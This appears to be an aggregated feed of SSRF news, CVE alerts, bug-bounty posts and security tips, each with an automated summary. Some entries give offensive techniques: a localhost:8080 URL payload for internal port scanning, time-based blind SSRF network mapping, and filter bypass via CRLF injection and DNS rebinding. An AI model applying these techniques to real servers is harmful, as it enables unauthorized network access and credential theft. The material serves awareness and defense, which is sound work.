| 2025-03-13 2025 | OpenAI Under Attack: CVE-2024-27564 Actively Exploited in the Wild news 2 min read | Writeup detailing the active exploitation of CVE-2024-27564, a Server-Side Request Forgery (SSRF) vulnerability impacting OpenAI's ChatGPT infrastructure. The analysis highlights over 10,479 attack attempts, with financial institutions being prime targets due to their reliance on AI services. It emphasizes that 35% of analyzed organizations remain unprotected due to misconfigured IPS, WAF, and firewall settings, underscoring the real-world risk posed by even medium-severity vulnerabilities and malicious IPs like 31.56.56[.]156. → securityboulevard.com |
| 2025-03-13 2025 | Coordinated surge in SSRF attacks detected with over 400 IPs exploiting multiple vulnerabilities simultaneously. Organizations urged to strengthen defenses. #CyberCode #SSRF #ThreatAlert news | A coordinated surge in SSRF attacks involving over 400 IPs exploiting multiple vulnerabilities simultaneously has been detected. Organizations are advised to enhance their defenses against these threats. The alert emphasizes the importance of strengthening cybersecurity measures to mitigate risks associated with SSRF attacks. #CyberCode #SSRF #ThreatAlert. |
| 2025-03-13 2025 | Over 400 #IPs #Exploiting Multiple #SSRF #Vulnerabilities in Coordinated #Cyber_Attack news | The content discusses a coordinated cyber attack involving over 400 IPs exploiting multiple Server-Side Request Forgery (SSRF) vulnerabilities. This attack highlights the importance of addressing and patching vulnerabilities to prevent such incidents. |
| 2025-03-13 2025 | Over 400 IPs are exploiting SSRF vulnerabilities in a coordinated cyber attack warns GreyNoise. Stay informed on these threats! #CyberSecurity #SSRF #ThreatIntel news | GreyNoise has identified over 400 IPs exploiting SSRF vulnerabilities in a coordinated cyber attack. This highlights a significant threat to cybersecurity. It is crucial to stay informed about these threats to protect against potential attacks. The warning emphasizes the importance of monitoring and addressing SSRF vulnerabilities to enhance cybersecurity defenses. #CyberSecurity #SSRF #ThreatIntel. |
| 2025-03-12 2025 | SSRF Exploitation Surge Highlights Evolving Cyberthreats beginner 2 min read | Analysis of a coordinated surge in Server-Side Request Forgery (SSRF) attacks, highlighting exploitation of critical vulnerabilities including CVE-2020-7796 in Zimbra, CVE-2021-21973 and CVE-2021-22054 in VMware, and multiple CVEs in GitLab. These attacks, originating from hundreds of unique IP addresses across various countries, demonstrate a structured and automated approach to breaching internal systems and cloud environments by accessing metadata APIs and mapping networks. → esecurityplanet.com |
| 2025-03-12 2025 | infosecbulletin.com/400-ips-exploi #infosecbulletin #ssrf news | The content shared is a link to a webpage discussing the exploitation of 400 IPs, related to security vulnerabilities known as Server-Side Request Forgery (SSRF). The link provided seems to offer more details or insights on this topic. The hashtags #infosecbulletin and #ssrf suggest that the content is related to information security bulletins and SSRF vulnerabilities. |
| 2025-03-12 2025 | Over 400 IPs Exploiting #Multiple #SSRF #Vulnerabilities in Coordinated Cyber Attack scyscan.com/news/over-400- news | Over 400 IPs are exploiting multiple Server-Side Request Forgery (SSRF) vulnerabilities in a coordinated cyber attack. The attack is significant and concerning, as SSRF vulnerabilities can be used to manipulate server requests and potentially access sensitive information or systems. The source of this information is scyscan.com/news. |
| 2025-03-12 2025 | MAIS DE 400 IPS EXPLORANDO VÁRIAS VULNERABILIDADES SSRF EM ATAQUE CIBERNÉTICO COORDENADO #SamirNews #mais #de #400 #ips #explorando #várias #vulnerabilidades #ssrf #em #ataque #cibernético #coordenado news | Over 400 IPs are exploiting multiple SSRF vulnerabilities in a coordinated cyber attack. The attack is significant and coordinated, targeting various vulnerabilities. The content is related to cybersecurity and highlights the exploitation of SSRF vulnerabilities by a large number of IPs. The post includes hashtags like #SamirNews and provides a link for more information. |
| 2025-03-12 2025 | Over 400 IPs Exploiting Multiple SSRF Vulnerabilities in Coordinated Cyber Attack beginner 2 min read | Analysis of coordinated cyber attacks revealing over 400 IPs simultaneously exploiting multiple Server-Side Request Forgery (SSRF) vulnerabilities. Notable exploited CVEs include CVE-2020-7796 (Zimbra), CVE-2021-22175 and CVE-2021-22214 (GitLab), and CVE-2024-21893 (Ivanti Connect Secure). The activity, observed by GreyNoise, suggests structured exploitation and potential use of Grafana for reconnaissance before launching SSRF attacks. → thehackernews.com |
| 2025-03-12 2025 | Java Axios Package Vulnerability Threatens Millions of Servers with SSRF Exploit beginner 2 min read | Writeup of CVE-2025-27152 in Axios, a widely used JavaScript package, details a critical Server-Side Request Forgery (SSRF) vulnerability. This flaw allows attackers to cause unintended requests, potentially leaking sensitive credentials like API keys by supplying absolute URLs to Axios requests even when a base URL is configured. Versions prior to 1.8.2 are affected. Mitigation involves updating to the patched version or implementing strict URL validation. → gbhackers.com |
| 2025-03-12 2025 | Over 400 IPs Actively Exploiting Multiple SSRF Vulnerabilities in the Wild news 1 min read | Library detecting over 400 IPs actively exploiting multiple SSRF vulnerabilities, including those in Zimbra, GitLab, VMware Workspace ONE UEM, and VMware vCenter. This coordinated exploitation mirrors historical breaches like Capital One, enabling cloud exploitation, network reconnaissance, and credential theft. Defenders should patch affected CVEs, restrict outbound access, set up alerts for unusual requests, and block identified malicious IPs. → gbhackers.com |
| 2025-03-12 2025 | 400 IPs Actively Exploiting Multiple SSRF Vulnerabilities In The Wild news 2 min read | Analysis of active exploitation targeting multiple SSRF vulnerabilities, including CVE-2020-7796 (Zimbra), CVE-2021-22214 (GitLab), CVE-2021-21973 (VMware vCenter), and CVE-2024-21893 (Ivanti Connect Secure). This coordinated campaign involves approximately 400 IPs systematically attempting to abuse server functionality for unauthorized requests, with a significant focus on cloud metadata APIs and credential theft, reminiscent of the 2019 Capital One breach. → cybersecuritynews.com |
| 2025-03-09 2025 | Common SSRF Attack Vectors Internal APIs & cloud metadata services Localhost services (127.0.0.1) Open Redirects & DNS rebinding Misconfigured webhooks & integrations Know your attack surface! #SSRF #CyberAwareness beginner | The content discusses common Server-Side Request Forgery (SSRF) attack vectors, including targeting internal APIs, cloud metadata services, localhost services (127.0.0.1), open redirects, DNS rebinding, and misconfigured webhooks/integrations. It emphasizes the importance of understanding your attack surface to prevent SSRF attacks. The post raises awareness about cybersecurity and encourages vigilance against SSRF threats. |
| 2025-03-09 2025 | What is Server-Side Request Forgery (SSRF)? SSRF tricks a server into making unintended requests potentially bypassing security controls. Attackers can exploit this to: Access internal services Bypass firewalls Steal sensitive data Stay alert! #CyberSecurity #SSRF beginner | Server-Side Request Forgery (SSRF) tricks servers into making unintended requests, bypassing security controls. Attackers exploit this to access internal services, bypass firewalls, and steal sensitive data. Stay alert for SSRF threats in cybersecurity. |
| 2025-03-06 2025 | My First Successful Bug Bounty Report! Super excited to share that Ive successfully reported my first security vulnerability through a bug bounty program! Found a Unauthenticated Blind SSRF vulnerability and the report was accepted #BugBounty #ssrf beginner | The content celebrates the author's first successful bug bounty report, where they discovered an Unauthenticated Blind SSRF vulnerability and had their report accepted. The author is excited to share this achievement through a bug bounty program. The post includes hashtags #BugBounty and #ssrf. |
| 2025-03-03 2025 | My First Successful Bug Bounty Report! Super excited to share that Ive successfully reported my first security vulnerability through a bug bounty program! Found a Unauthenticated Blind SSRF vulnerability and the report was accepted #BugBounty #ssrf beginner | The content shares the author's excitement about successfully reporting their first security vulnerability through a bug bounty program. They discovered an Unauthenticated Blind SSRF vulnerability, and their report was accepted. The author highlights their achievement and uses hashtags like #BugBounty and #ssrf to share their experience. |
| 2025-02-24 2025 | SSRF Prevention Tip #4 Validate & sanitize user input! Reject non-HTTP/HTTPS URLs Restrict port ranges Use safe URL parsers to prevent bypasses Security starts with input validation! #CyberSec #SSRF intermediate | The content emphasizes the importance of preventing Server-Side Request Forgery (SSRF) by validating and sanitizing user input. It suggests rejecting non-HTTP/HTTPS URLs, restricting port ranges, and using safe URL parsers to avoid bypasses. Highlighting that security begins with input validation, the post stresses the significance of these measures in cybersecurity. #CyberSec #SSRF. |
| 2025-02-24 2025 | SSRF Prevention Tip #3 Never return raw responses! SSRF exploits often rely on getting API responses. Mask or sanitize responses to prevent attackers from extracting sensitive info! #SSRF #APIsecurity intermediate | Tip #3 for preventing Server-Side Request Forgery (SSRF) attacks advises against returning raw API responses to thwart attackers from extracting sensitive information. Masking or sanitizing responses is recommended to enhance security and protect against SSRF exploits. This precaution helps safeguard against potential vulnerabilities and ensures API security. |
| 2025-02-24 2025 | SSRF Prevention Tip #1 Use an allowlist for external domains! Only permit URLs from trusted sources (e.g. Google Drive Gravatar). Block unknown origins to prevent malicious requests. #AppSec #SSRF intermediate | The content provides a tip for preventing Server-Side Request Forgery (SSRF) attacks by using an allowlist for external domains. It suggests allowing only URLs from trusted sources like Google Drive and Gravatar while blocking unknown origins to avoid malicious requests. This practice enhances application security and helps mitigate the risk of SSRF vulnerabilities. The use of an allowlist is recommended to restrict access to specific domains, reducing the attack surface and protecting against unauthorized requests. #AppSec #SSRF. |
| 2025-02-24 2025 | Real-World SSRF Attack A social network lets users upload profile pictures via a URL. An attacker submits: 📌 "picture_url": "http://localhost:8080" 📌 API unintentionally scans internal ports! 🚨#SSRF #CyberThreats— Otesile Olaoluwa (@OtesileOlaoluwa) February 24, 2025 intermediate | The content discusses a real-world Server-Side Request Forgery (SSRF) attack on a social network that allows users to upload profile pictures via a URL. The attacker submitted a malicious URL pointing to "http://localhost:8080," triggering the API to unintentionally scan internal ports. This incident highlights the vulnerability of SSRF attacks and the potential cybersecurity threats they pose. The tweet warns about the attack and raises awareness about the importance of safeguarding against such cyber threats. |
| 2025-02-24 2025 | What is SSRF? Server-Side Request Forgery (SSRF) lets attackers force an API to fetch remote resources without validation. This can bypass firewalls expose sensitive data and even lead to DoS attacks. #CyberSecurity #SSRF beginner | SSRF, or Server-Side Request Forgery, allows attackers to manipulate APIs to access remote resources without validation. This vulnerability can circumvent firewalls, compromise sensitive data, and potentially trigger denial-of-service (DoS) attacks. It poses significant cybersecurity risks and requires attention to prevent exploitation. |
| 2025-02-22 2025 | SSRF challenge cracked on TryHackMe! Learned how insecure server-side requests can expose internal systems. Hack learn secure repeat! #CyberSecurity #SSRF #TryHackMe #BugBounty tryhackme.com/r/room/ssrfqi? beginner | The content discusses successfully completing an SSRF challenge on TryHackMe, highlighting the risks of insecure server-side requests exposing internal systems. The message emphasizes the importance of learning, securing, and repeating the process. It also mentions cybersecurity, SSRF, TryHackMe, and Bug Bounty. The link provided directs to the TryHackMe room for the SSRF challenge. |
| 2025-02-20 2025 | SSRF flaw in Sliver C2 teamserver lets attackers spoof callbacks (CVE-2025-27090). Patch now to avoid compromise! #SSRF #Cybersecurity #Vulnerability news | A Server-Side Request Forgery (SSRF) flaw in Sliver C2 teamserver allows attackers to spoof callbacks (CVE-2025-27090). It is crucial to patch this vulnerability immediately to prevent potential compromise. Stay vigilant about cybersecurity threats and take necessary actions to secure your systems. #SSRF #Cybersecurity #Vulnerability. |
| 2025-02-18 2025 | Explore "Hacking Layer 7" for insights on web vulnerabilities and defenses. ethicbreach.com/2025/02/18/app #ethicbreach #L7Hack #CyberSec #EthHack #WebSec #AppSec #OWASP #Inject #Srvr #Clnt #SMTP #DNS #FTP #SSRF #Hdrs #Vldtn #SecCode Follow for insights like if helpful! beginner | The content discusses exploring "Hacking Layer 7" for insights on web vulnerabilities and defenses, with hashtags related to cybersecurity topics. It encourages following for helpful insights. The link provided directs to a webpage for further information. Key points include focusing on Layer 7 vulnerabilities, using relevant hashtags, and promoting engagement for cybersecurity insights. |
| 2025-02-17 2025 | #ssrf Your First Critical Bug Bounty! SSRF Hunting Made Easy youtu.be/bSn7tWFP354?fe via @YouTube beginner | The content discusses finding Server-Side Request Forgery (SSRF) vulnerabilities for bug bounties, providing tips and guidance for beginners. It highlights a video tutorial on SSRF hunting, aiming to make the process easier. The link leads to a YouTube video offering insights on identifying and exploiting SSRF vulnerabilities. The content emphasizes the importance of SSRF as a critical bug bounty target and suggests resources for learning more about this type of vulnerability. |
| 2025-02-17 2025 | Common application #vulnerabilities attacks: - path/directory traversal - session hijacking - #CSRF - #DDOS - #IDOR - #CRLF - race condition (TOCTTOU) - insecure deserialization (object injection) - forced browsing (url not restricted) - #XXE - #SSRF beginner | The content discusses common application vulnerabilities attacks such as path/directory traversal, session hijacking, CSRF, DDoS, IDOR, CRLF, race condition, insecure deserialization, forced browsing, XXE, and SSRF. These vulnerabilities can be exploited by attackers to compromise the security of applications. It is crucial for developers and organizations to be aware of these vulnerabilities and implement proper security measures to protect their applications from potential attacks. |
| 2025-02-17 2025 | New Writeup Alert! "SSRF Advanced Methodology" by Abhijeet kumawat is now live on IW! Check it out here: infosecwriteups.com/ecbe289886ef #money #infosec #ssrf #hacking #bugbounty advanced | Abhijeet Kumawat's new writeup on "SSRF Advanced Methodology" is now available on IW. The content covers SSRF techniques and bug bounty hunting related to hacking and information security. Readers can access the writeup at infosecwriteups.com/ecbe289886ef. The post is aimed at those interested in money, infosec, SSRF, hacking, and bug bounty programs. |
| 2025-02-16 2025 | 4/7 From code injection to #SQL attacks @Microsoft wants your help finding vulnerabilities in Copilot AI. Report issues like #SSRF or authentication flaws and earn rewards! #Cybersecurity #AI #BugHunting news | Microsoft is seeking help to identify vulnerabilities in Copilot AI, offering rewards for reporting issues like code injection, SQL attacks, SSRF, and authentication flaws. This initiative aims to enhance cybersecurity by addressing potential weaknesses in the AI system. Bug hunters can contribute to improving the security of Copilot AI and earn rewards for their efforts. |
| 2025-02-15 2025 | @kcsfa There is a misconfiguration that could lead to password #bruteforce Server side requests forgery #ssrf that could leak internal IP's and lead to #RCE #API { "id": 1 "name": "c" "url": "" "description": "" "link ........ } intermediate | The content warns about a misconfiguration that could result in password brute-forcing, server-side request forgery (SSRF) leading to leaking internal IPs, and remote code execution (RCE) via API. It includes a snippet of code with an ID, name, URL, and description. The post emphasizes the potential security risks associated with the mentioned misconfiguration. |
| 2025-02-10 2025 | #Zimbra Releases# Security Updates for #SQL_Injection #Stored_XSS and #SSRF #Vulnerabilities news | Zimbra has released security updates addressing SQL injection, stored XSS, and SSRF vulnerabilities. These updates aim to enhance the security of the Zimbra platform by fixing these critical issues. Users are advised to promptly apply the updates to protect their systems from potential exploitation. |
| 2025-02-10 2025 | Warning: Critical and Medium Improper Neutralization in SQL command and Server-Side Request Forgery #SSRFin #Zimbra #SyncService #Zimbracollaboration#CVE-2025-25064 #CVE-2025-25065 CVSS: 9.8-5.3. An attacker can execute an SQL injection to exploit these vulnerabilities.#Patch news | The content warns of critical and medium vulnerabilities related to improper neutralization in SQL commands and Server-Side Request Forgery (#SSRF) in Zimbra's SyncService and Zimbra collaboration. The vulnerabilities are identified as CVE-2025-25064 and CVE-2025-25065 with CVSS scores of 9.8 and 5.3. An attacker could exploit these vulnerabilities through SQL injection. A patch is recommended to address these security issues. |
| 2025-02-10 2025 | Microsoft SharePoint Connector Vulnerability Let Attackers Steal Users Credentials news 2 min read | Writeup detailing CVE-2024-49070, a critical server-side request forgery (SSRF) vulnerability in Microsoft Power Platform's SharePoint connector. This flaw, exploitable by attackers with basic user roles, allowed for credential harvesting and user impersonation across Power Apps, Power Automate, Copilot Studio, and Copilot 365 by manipulating crafted URLs and leaking SharePoint JWTs. Zenity Labs demonstrated the bypass of authentication mechanisms through stolen tokens, enabling unauthorized actions and data exfiltration. Microsoft patched this "Important" severity issue in December 2024 for SharePoint Server and Power Platform services. → cybersecuritynews.com |
| 2025-02-10 2025 | ZIMBRA LIBERA ATUALIZAÇÕES DE SEGURANÇA PARA INJEÇÃO DE SQL XSS E VULNERABILIDADES SSRF #SamirNews #zimbra #libera #atualizações #de #segurança #para #injeção #de #sql #xss #e #vulnerabilidades #ssrf news | Zimbra has released security updates addressing SQL injection, XSS, and SSRF vulnerabilities. The updates aim to enhance security measures against these potential threats. The announcement was made through the #SamirNews platform and includes hashtags related to Zimbra, security updates, SQL injection, XSS, and SSRF vulnerabilities. |
| 2025-02-10 2025 | Zimbra Releases Security Updates for SQL Injection Stored XSS and SSRF Vulnerabilities news 1 min read | Library updates address critical vulnerabilities in Zimbra Collaboration, including CVE-2025-25064, a high-severity SQL injection in ZimbraSync Service allowing authenticated attackers to retrieve email metadata by manipulating a parameter. Stored XSS in the Zimbra Classic Web Client and CVE-2025-25065, a medium-severity SSRF flaw in the RSS feed parser, were also patched, enabling unauthorized redirection to internal network endpoints. → thehackernews.com |
| 2025-02-10 2025 | DeepStrike | SSRF with Dirty Hands: Real-Life Scenarios of SSRF Attacks beginner | Explore real-world scenarios of Server-Side Request Forgery (SSRF) attacks, their impact, and mitigation strategies to enhance your cybersecurity defenses. |
| 2025-02-07 2025 | Preventing SSRF at the Application Layer Validate & sanitize user input Use an allow-list for URLs ports & destinations Disable HTTP redirections Be cautious of DNS rebinding & TOCTOU race conditions Secure coding saves lives! #DevSecOps #SSRF intermediate | To prevent Server-Side Request Forgery (SSRF) at the application layer, validate and sanitize user input, use an allow-list for URLs, ports, and destinations, disable HTTP redirections, and be cautious of DNS rebinding and TOCTOU race conditions. Secure coding practices are crucial for preventing SSRF incidents. The content emphasizes the importance of DevSecOps and implementing these measures to enhance security and protect against SSRF vulnerabilities. |
| 2025-02-07 2025 | How does SSRF work? A web app fetches a remote resource without validating the user-supplied URL. Attackers exploit this to send malicious requests accessing internal services metadata & even causing RCE! #AppSec #SSRF beginner | SSRF (Server-Side Request Forgery) occurs when a web app fetches a remote resource without validating the user-supplied URL. Attackers exploit this vulnerability to send malicious requests, accessing internal services, metadata, and potentially causing Remote Code Execution (RCE). Proper validation of user input is crucial to prevent SSRF attacks. #AppSec #SSRF |
| 2025-02-06 2025 | Microsoft SharePoint Connector Flaw Could've Enabled Credential Theft Across Power Platform news 2 min read | Writeup detailing a server-side request forgery (SSRF) vulnerability in the Microsoft SharePoint connector for Power Platform. Exploitation, requiring Environment Maker and Basic User roles, could lead to credential theft and unauthorized API requests across Power Automate, Power Apps, and Copilot. Microsoft patched the flaw, identified as Important severity, in December 2024. → thehackernews.com |
| 2025-02-06 2025 | SSRF attacks can cripple your Go apps. Learn how to prevent them with this step-by-step guide & code examples. #golang #security #SSRF snyk.co/uh2GO intermediate | The content discusses how Server-Side Request Forgery (SSRF) attacks can harm Go applications and provides a step-by-step guide with code examples to prevent them. It emphasizes the importance of securing Go apps against SSRF attacks for enhanced security. The guide aims to help developers understand and implement measures to safeguard their applications from potential vulnerabilities. The content is relevant for those working with Go programming language and interested in enhancing the security of their applications. |
| 2025-02-05 2025 | 2/8 How does the SharePoint vulnerability work? Attackers could exploit Server-Side Request Forgery (SSRF) to inject malicious URLs steal JWT tokens and make unauthorized #API requests. A serious risk for organizations using Power Platform! #CyberThreat #SSRF #API intermediate | The SharePoint vulnerability allows attackers to use Server-Side Request Forgery (SSRF) to inject malicious URLs, steal JWT tokens, and make unauthorized API requests. This poses a significant risk to organizations using the Power Platform. The exploit highlights the importance of addressing cybersecurity threats like SSRF. |
| 2025-02-05 2025 | Learn how to master SSRF Vulnerabilities with our step-by-step guide using PortSwigger Labs! Dive deep into the process and sharpen your skills. #SSRF #CyberSecurity #WebAppSecurity #cybersecurityskills #EthicalHacking #TrendingNow intermediate | Master SSRF vulnerabilities with a step-by-step guide using PortSwigger Labs to enhance cybersecurity skills. Dive deep into the process for ethical hacking and web app security. Trending topic in cybersecurity. #SSRF #CyberSecurity #WebAppSecurity #cybersecurityskills #EthicalHacking |
| 2025-02-05 2025 | SSRF: Anatomy of a Cloud Attack @ Cloud Village | @seasides_conf 2025! Join @Zero0x00 as he explores SSRF attacks with Burp Suite & AWS Metadata. A must-attend for cloud security pros! 22 Feb 2025 #CloudSecurity #SSRF #Seasides2025 intermediate | The content discusses an upcoming session at the Cloud Village event at the Seasides Conference 2025, focusing on SSRF attacks using Burp Suite and AWS Metadata. Led by @Zero0x00, the session is aimed at cloud security professionals and is scheduled for February 22, 2025. It emphasizes the importance of understanding SSRF attacks in cloud security. Attendees are encouraged to join to gain insights into this critical aspect of cloud security. |
| 2025-02-04 2025 | [A Practical Guide] Exploiting SSRF with Filter Bypass via Open Redirection Source: link.medium.com/HVR71xVBHQb #ssrf #openredirect #ssrfexploitation #openredirectexploitation #ssrffilterbypass #bugbounty #bugbountytips intermediate | The content provides a practical guide on exploiting Server-Side Request Forgery (SSRF) with filter bypass using open redirection. It discusses techniques to bypass filters and exploit vulnerabilities related to SSRF and open redirection. The focus is on bug bounty tips and strategies for exploiting SSRF vulnerabilities effectively. The content aims to provide insights and practical guidance for security researchers and bug bounty hunters interested in SSRF exploitation. |
| 2025-02-03 2025 | Nowy odcinek na YouTube! Jak działa SSRF (Server-Side Request Forgery) i jak atakujący mogą manipulować żądaniami HTTP? Sprawdź jak wykrywać i testować tę podatność! Obejrzyj teraz: #SSRF #Cybersecurity #BurpSuite #Pentesting #WebSecurity beginner | The content discusses a new YouTube episode about SSRF (Server-Side Request Forgery), explaining how attackers manipulate HTTP requests and how to detect and test this vulnerability. It invites viewers to watch the episode to learn more about SSRF, cybersecurity, BurpSuite, pentesting, and web security. The link provided directs viewers to the YouTube video. |
| 2025-02-02 2025 | CVE-2024-54819 - I Librarian Server Side Request Forgery #CVE202454819 #ILibrarian #SSRF #Cybersecurity #Vulnerability news | The content discusses a specific cybersecurity vulnerability identified as CVE-2024-54819 in I Librarian, related to Server Side Request Forgery (SSRF). The vulnerability is highlighted with relevant hashtags for tracking and awareness. For more details, the link provided can be accessed for additional information. |
| 2025-02-01 2025 | Looking for a Burp Collaborator alternative for SSRF testing? Bug bounty hunters & pentesters Interactsh is a must-have for SSRF exploitation web security and bug bounties. #BugBounty #PenetrationTesting #SSRF #HackingTools #ProjectDiscovery intermediate | Interactsh is recommended as a Burp Collaborator alternative for SSRF testing by bug bounty hunters and pentesters. It is considered essential for SSRF exploitation, web security, and bug bounties. The tool is highlighted for its effectiveness in these areas and is associated with Bug Bounty, Penetration Testing, SSRF, Hacking Tools, and Project Discovery. |
| 2025-01-29 2025 | Hey @deepseek_ai are you guys paying for Read SSRF vulnerability? I also got 56 XSS manually and was able to automate it to A&T. Let me know. #XSS #DeepSeekV3 #DeepSeek #ssrf #bugbountytips #BugBounty beginner | The content is a message directed at @deepseek_ai asking if they pay for SSRF vulnerabilities. The sender mentions discovering 56 XSS vulnerabilities manually and automating them to A&T. They invite @deepseek_ai to contact them. The message includes hashtags related to XSS, DeepSeek, SSRF, bug bounty tips, and Bug Bounty. |
| 2025-01-28 2025 | Kritieke ssrf kwetsbaarheid in microsoft purview ontdekt: wat u moet weten #CVE-2025-21385 #Microsoft Purview kwetsbaarheid #SSRF-aanval #beveiligingsupdate #cybersecurity #Trending #Tech #Nieuws news | A critical SSRF vulnerability in Microsoft Purview has been discovered, tagged as #CVE-2025-21385. This vulnerability poses a risk of SSRF attacks, emphasizing the importance of applying security updates promptly. The news highlights the significance of cybersecurity in tech trends. Stay informed and vigilant to protect systems from potential exploits. |
| 2025-01-28 2025 | Smol TryHackMe Writeup #smol #writeup #tryhackme #SSRF #WordPress #JSmol2WP #RCE #john #SUDO intermediate | The content is a brief writeup about a TryHackMe challenge named "Smol." It likely covers topics such as Server-Side Request Forgery (SSRF), WordPress vulnerabilities, JSmol2WP, Remote Code Execution (RCE), John the Ripper (password cracking tool), and SUDO privilege escalation. The writeup may provide insights into how these concepts were utilized to solve the challenge. The link provided seems to direct to the full writeup for those interested in detailed information. |
| 2025-01-28 2025 | Warning: Recent security update in #Kibana fixes #CVE-2024-43707 & #CVE-2024-43710. #Update to version 8.15.0 #SSRF #exposure of #sensitive #information #Patch #Patch #Patch news | A recent security update in Kibana addresses CVE-2024-43707 and CVE-2024-43710, fixing vulnerabilities related to SSRF and exposure of sensitive information. Users are advised to update to version 8.15.0 to patch these issues. It is crucial to apply the patch promptly to protect against potential security threats. |
| 2025-01-25 2025 | Belangrijke informatie over server-side request forgery kwetsbaarheid in microsoft purview: cve-2025-21385 https://t.co/SMmCXDhzNB #CVE-2025-21385 #Microsoft Purview #SSRF kwetsbaarheid #Cybersecurity #Informatiebeveiliging #Trending #Tech #Nieuws news | The content discusses a significant server-side request forgery vulnerability in Microsoft Purview with the CVE-2025-21385 identifier. It emphasizes the importance of this vulnerability in terms of cybersecurity and information security. The post is trending in the tech news and highlights the need for attention to this issue. The link provided likely directs to more detailed information about the vulnerability. |
| 2025-01-25 2025 | Kritieke ssrf kwetsbaarheid in microsoft purview ontdekt: bescherm uw gegevens kwetsbaarheid Purview beveiliging -2025-21385 bescherming update news | A critical SSRF vulnerability in Microsoft Purview has been discovered, emphasizing the importance of protecting data. The vulnerability is identified as CVE-2025-21385, highlighting the need for security updates to safeguard network data. This news is trending in the tech community, urging users to take necessary precautions to enhance Microsoft Purview security. |
| 2025-01-24 2025 | Check out this article to learn how to find and exploit server-side request forgery (SSRF) vulnerabilities in an API. intermediate | The article provides guidance on identifying and exploiting server-side request forgery (SSRF) vulnerabilities in an API. It offers insights into detecting and leveraging these vulnerabilities for potential exploitation. The focus is on understanding SSRF risks and how they can be manipulated to compromise server security. The article aims to educate readers on the significance of addressing SSRF vulnerabilities to enhance API security. It is recommended for those interested in API hacking and SSRF mitigation strategies. |
| 2025-01-23 2025 | SSRF 101! Don't let attackers turn your server into a proxy! Learn the basics of Server-Side Request Forgery and how to prevent it from happening to you! #SSRF #CyberSecurity #WebSecurity beginner | The content emphasizes the importance of understanding Server-Side Request Forgery (SSRF) to prevent attackers from exploiting it to turn a server into a proxy. It encourages learning the basics of SSRF to enhance cybersecurity and web security. The post aims to raise awareness about SSRF risks and the measures to mitigate them. #SSRF #CyberSecurity #WebSecurity. |
| 2025-01-23 2025 | Warning! Server-Side Request Forgery (SSRF) attacks can trick your server into making unauthorized requests! Validate user input use whitelisting & monitor logs to stay safe! #SSRF #CyberSecurity #WebSecurity beginner | The content warns about Server-Side Request Forgery (SSRF) attacks that manipulate servers into making unauthorized requests. To prevent SSRF attacks, it advises validating user input, implementing whitelisting, and monitoring logs. These measures enhance cybersecurity and web security. It emphasizes the importance of safeguarding servers against SSRF attacks by taking proactive security measures. |
| 2025-01-20 2025 | Day 15: XXE SSRF! Discovered how XXE can lead to SSRF allowing attackers to access internal systems or sensitive data. Always validate XML input and disable external entities! #BugBounty #XXE #SSRF #CyberSecurity #InfoSec https://t.co/UspwIegXyp intermediate | The content discusses the discovery of how XXE (XML External Entity) vulnerabilities can lead to SSRF (Server-Side Request Forgery), enabling attackers to access internal systems or sensitive data. It emphasizes the importance of validating XML input and disabling external entities to prevent such attacks. The post also includes hashtags related to Bug Bounty, XXE, SSRF, Cybersecurity, and InfoSec. |
| 2025-01-18 2025 | : A Deep Dive into and Mitigations for and advanced | The content explores Server-Side Request Forgery (SSRF) cyber risks for software and web developers, providing a deep dive into the topic. It emphasizes the importance of understanding SSRF vulnerabilities and offers mitigations to address these risks. The focus is on enhancing security measures to protect against SSRF attacks, aiming to assist developers in safeguarding their systems and applications. |
| 2025-01-18 2025 | : A Deep Dive into and Mitigations for and beginner | The content discusses Server-Side Request Forgery (SSRF), highlighting cyber risks it poses to software and web developers. It delves into the importance of understanding and mitigating SSRF vulnerabilities to enhance security. The post provides insights and strategies for developers to secure their systems against SSRF attacks. It emphasizes the need for developers to be vigilant and proactive in addressing SSRF risks to protect their software and websites from potential exploitation. The content aims to raise awareness about SSRF vulnerabilities and offers guidance on how developers can safeguard their systems. |
| 2025-01-17 2025 | Remember: #SSRF isn't just about making HTTP calls! Think broader - SMTP enumeration Redis unauthorized access internal Kibana instances Jenkins panels. The internal network is full of sensitive services! #BugBounty #HackingTips #CyberSecurity beginner | The content emphasizes that Server-Side Request Forgery (#SSRF) extends beyond HTTP calls to include SMTP enumeration, unauthorized access to Redis, internal Kibana instances, and Jenkins panels. It highlights the presence of sensitive services within internal networks, urging a broader perspective for identifying vulnerabilities. The post is tagged with #BugBounty, #HackingTips, and #CyberSecurity. |
| 2025-01-17 2025 | Advanced #SSRF tip: Use Time-Based Blind SSRF to map internal networks. Send requests to sequential IPs/ports and measure response times. Tools like SSRFmap can automate this process. #PenTesting #RedTeam #InfoSec intermediate | The content discusses using Time-Based Blind SSRF to map internal networks by sending requests to sequential IPs/ports and measuring response times. Tools like SSRFmap can automate this process, beneficial for penetration testing, red team activities, and information security. This advanced technique helps identify vulnerabilities and potential entry points in network security. |
| 2025-01-17 2025 | Defending against #SSRF in microservices? Network segmentation is crucial! Use service mesh policies strict egress controls and never trust traffic between services. Monitor inter-service communication patterns. #DevSecOps #Kubernetes #Security intermediate | To defend against Server-Side Request Forgery (#SSRF) in microservices, network segmentation is vital. Implement strict egress controls, service mesh policies, and avoid trusting traffic between services. Monitoring inter-service communication patterns is essential. Emphasizing DevSecOps practices, Kubernetes, and security measures can enhance protection against SSRF attacks in microservices architecture. |
| 2025-01-16 2025 | Discovered an #SSRF but facing restrictions? Try CRLF injection in HTTP headers race conditions in URL validation or DNS rebinding attacks. Sometimes the initial SSRF is just the start! #BugBounty #HackingTips #WebSecurity intermediate | The content discusses strategies to overcome restrictions when facing a Server-Side Request Forgery (SSRF) vulnerability. It suggests using techniques like CRLF injection in HTTP headers, exploiting race conditions in URL validation, or conducting DNS rebinding attacks. It emphasizes that an SSRF issue can be just the beginning of a larger security threat. The post also includes hashtags related to bug bounty programs, hacking tips, and web security. |
| 2025-01-16 2025 | Hunting for #SSRF in modern web apps? Check GraphQL introspection endpoints PDF generators webhook configurations and image proxy functionality. These features often process user-supplied URLs! #BugBountyTips #WebHacking intermediate | The content highlights hunting for Server-Side Request Forgery (#SSRF) in modern web apps by checking GraphQL introspection endpoints, PDF generators, webhook configurations, and image proxy functionality. These features frequently handle user-supplied URLs, making them potential targets for SSRF vulnerabilities. The post also includes hashtags like #BugBountyTips and #WebHacking, indicating it is aimed at security researchers or bug bounty hunters. It suggests focusing on these specific areas to identify and potentially exploit SSRF vulnerabilities in web applications. |
